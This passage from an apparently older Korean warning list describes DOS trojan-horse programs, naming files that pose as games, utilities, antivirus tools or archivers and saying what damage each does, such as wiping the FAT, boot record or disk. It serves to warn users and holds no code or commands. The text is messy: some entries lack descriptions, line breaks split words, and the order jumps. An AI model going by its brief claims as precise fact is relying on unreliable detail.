TOPDO : DISK를 FORMAT해 버리는 트로이 목마 PROGRAM이다.
TSRMAP : RAM 상주 프로그램이 있는 기억 장소를 보여주는 프로그램이지만 HDD의 BOOT
RECORD를 파괴시킨다.
ULTIMATE.EXE , ULTIMATE.ARC :  DOS의 SHELL  PROGRAM을 변형시킨 PROGRAM으
로 실행

               키면 "LOADING..."이란 메세지를 출력하면서 FAT를 파괴한다.
VDIR.COM
VIRUS.COM : VIRUS 백신 프로그램이라고 DISPLAY하지만 실행시키면 VIRUS를 오히려 퍼
            뜨린다.
VISWORD.ARC
WAEDIAL.ARC
WOO.COM : `17

FLU4TXT.COM : FLUSHOT VER 4.0에 대해 설명해주는 프로그램으로 속여서 DPT(disk
              parameter table)을 파괴시킨다.
FUTURE.BAS : COLOR GRAPHICS를 보여준 후에 컴퓨터를 GAME이나 GRAPHICS보다도 좋

             곳에 사용해야 한다는 MESSAGE를 출력시키고, A드라이브에서 시작하여
             모든 DRIVE에 있는 FAT를 파괴하고 화일들을 지운다.
FluShot4.COM : 로스 M. 그린버그가 만든 VIRUS 백신 프로그램인 FLU_SHOT VER.3.0을
               변형시킨 프로그램으로 일정 시간 경과 후 하드 디스크의 시스템 영역
               을 파괴하고 프로피디스크 DPA(disk parameter area)를 파괴한다.
               또한 int13h와 int 26h를 조사해서 바이러스의 유무를 확인하는 보통
               의 백신 프로그램들은 이 바이르스의 존재여부를 알아 챌수가 없다.
G-MAN : 재미있는 게임이지만 FAT를 파괴한다.
GATEWAY2 : 재미있는 게임이지만 FAT를 파괴한다.
GRASP200.ARC : GRASP VER 2.O으로 되어 있지만, RUNDEMO.BAT를 실행시키면 HDD의
               ROOT DIRECTORY를 파괴시킨다.
MAP.BAS : Dorn W. Stickle이 만든것이며, 원래는 세계지도를 보여주는 프로그램이었
          으나 변형되어 fat area를 파괴한다.
MATHKIDS.ARC  MATH1.EXE
NE.ARC : NORTON   EDITOR에 VIRUS CODE를 추가하여 NORTON  EDITOR에서  HDD의
BOOT
AREA
         로 옮겨가서 BOOT RECORD를 감염시킨후 DISK를 파괴한다.
NINJA, NORTROJ.COM :  다른 트로이 목마 PRGGRAM을 검색해주는 PROGRAM으로  행세하

    서 사용자가 VIRUS를 검색하기 위해 실행시키면 일정기간 파괴 동작을 하지 않고
    있다가 사용자가 다시 트로이 목마 PROGRAM을 검색하려고 실행시키면 "VIRUS
    PROGRAM이 지금 HDD를 FORMAT하고 있는  중이며 현재 진행중인 VIRUS의 FORMAT

    멈추게할 수가 없다."라는 MESSAGE를 출력하여 사용자를 속이면서 FAT를 파괴하고
    HDD를 FORMAT시키므로 사용자는 매우 좋은 VIRUS퇴치 PROGRAM으로 믿고 많이 사용
    하게 된다.
ONTOP.ZIP: COMMAND.COM FILE을 바꾼 다음 HDD를 천천히 지운다.
PACKDIR : DISK의 DIRECTORY를 정리해주는 PROGRAM이라고속이면서 FAT를 파괴시킨다.
PCLOCK : 본래의 PROGRAM을 변형시켜서 FAT를 파괴시키도록 한다.
PCW27.ARC : 유명한 SHAREWARE인 'PC-WRITE VER.2.71'을 변형시킨 것으로 FAT를 파괴
            시킨다.
PCW271xx.ARC
PK362.EXE  PK363.EXE
PKFIX361.EXE : PKPAK VER3.61이라는 프로그램이라 속이지는 실제로는 HDD를 SYSTEM
               FOMRAT인 LOW FORMAT을 해버린다.
PKX35B35.EXE : 유명한 FILE 압축 PROGRAM인  PKXARC/PKARC의 새로운 VERSION인 것
처럼
               속여서 DISK의 FAT르 파괴시킨다.  PKXARC/PKARC의 공식적인 최종 버
               전은 35A35이다.
QMDM31B.ARC : 통신 프로그램으로 PC사용자들에게 SHAREWARE로 공급이 되고 있는
              QMODEM의 VER 3.1A를 UPGRADE한 VER  3.1B 인양 속여서 SYSTEM FILE
에 VIRUS CODE를 추가시킨다.